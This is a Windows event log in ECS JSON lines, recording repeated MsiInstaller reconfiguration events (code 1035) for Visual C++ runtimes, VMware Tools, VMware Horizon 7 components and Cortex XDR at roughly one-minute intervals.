{"@timestamp":1657402690573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171595}}
{"@timestamp":1657402690623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171596}}
{"@timestamp":1657402690664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171597}}
{"@timestamp":1657402690692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171598}}
{"@timestamp":1657402690722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171599}}
{"@timestamp":1657402690748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171600}}
{"@timestamp":1657402690774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171601}}
{"@timestamp":1657402690809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171602}}
{"@timestamp":1657402690838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171603}}
{"@timestamp":1657402750688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171604}}
{"@timestamp":1657402750714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171605}}
{"@timestamp":1657402750764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171606}}
{"@timestamp":1657402750803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171607}}
{"@timestamp":1657402750831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171608}}
{"@timestamp":1657402750861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171609}}
{"@timestamp":1657402750887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171610}}
{"@timestamp":1657402750913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171611}}
{"@timestamp":1657402750948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171612}}
{"@timestamp":1657402750974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171613}}
{"@timestamp":1657402811644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171614}}
{"@timestamp":1657402811671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171615}}
{"@timestamp":1657402811723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171616}}
{"@timestamp":1657402811763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171617}}
{"@timestamp":1657402811791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171618}}
{"@timestamp":1657402811821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171619}}
{"@timestamp":1657402811849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171620}}
{"@timestamp":1657402811875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171621}}
{"@timestamp":1657402811911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171622}}
{"@timestamp":1657402811938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171623}}
{"@timestamp":1657402871495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171624}}
{"@timestamp":1657402871522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171625}}
{"@timestamp":1657402871574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171626}}
{"@timestamp":1657402871616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171627}}
{"@timestamp":1657402871644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171628}}
{"@timestamp":1657402871676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171629}}
{"@timestamp":1657402871703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171630}}
{"@timestamp":1657402871729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171631}}
{"@timestamp":1657402871765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171632}}
{"@timestamp":1657402871792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171633}}
{"@timestamp":1657402930734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171634}}
{"@timestamp":1657402930761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171635}}
{"@timestamp":1657402930811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171636}}
{"@timestamp":1657402930849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171637}}
{"@timestamp":1657402930877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171638}}
{"@timestamp":1657402930908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171639}}
{"@timestamp":1657402930934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171640}}
{"@timestamp":1657402930960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171641}}
{"@timestamp":1657402930996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171642}}
{"@timestamp":1657402931023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171643}}
{"@timestamp":1657402990803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171644}}
{"@timestamp":1657402990831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171645}}
{"@timestamp":1657402990883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171646}}
{"@timestamp":1657402990923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171647}}
{"@timestamp":1657402990951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171648}}
{"@timestamp":1657402990982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171649}}
{"@timestamp":1657402991009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171650}}
{"@timestamp":1657402991036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171651}}
{"@timestamp":1657402991072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171652}}
{"@timestamp":1657402991099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171653}}
{"@timestamp":1657403051101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171654}}
{"@timestamp":1657403051130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171655}}
{"@timestamp":1657403051180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171656}}
{"@timestamp":1657403051221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171657}}
{"@timestamp":1657403051250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171658}}
{"@timestamp":1657403051281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171659}}
{"@timestamp":1657403051310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171660}}
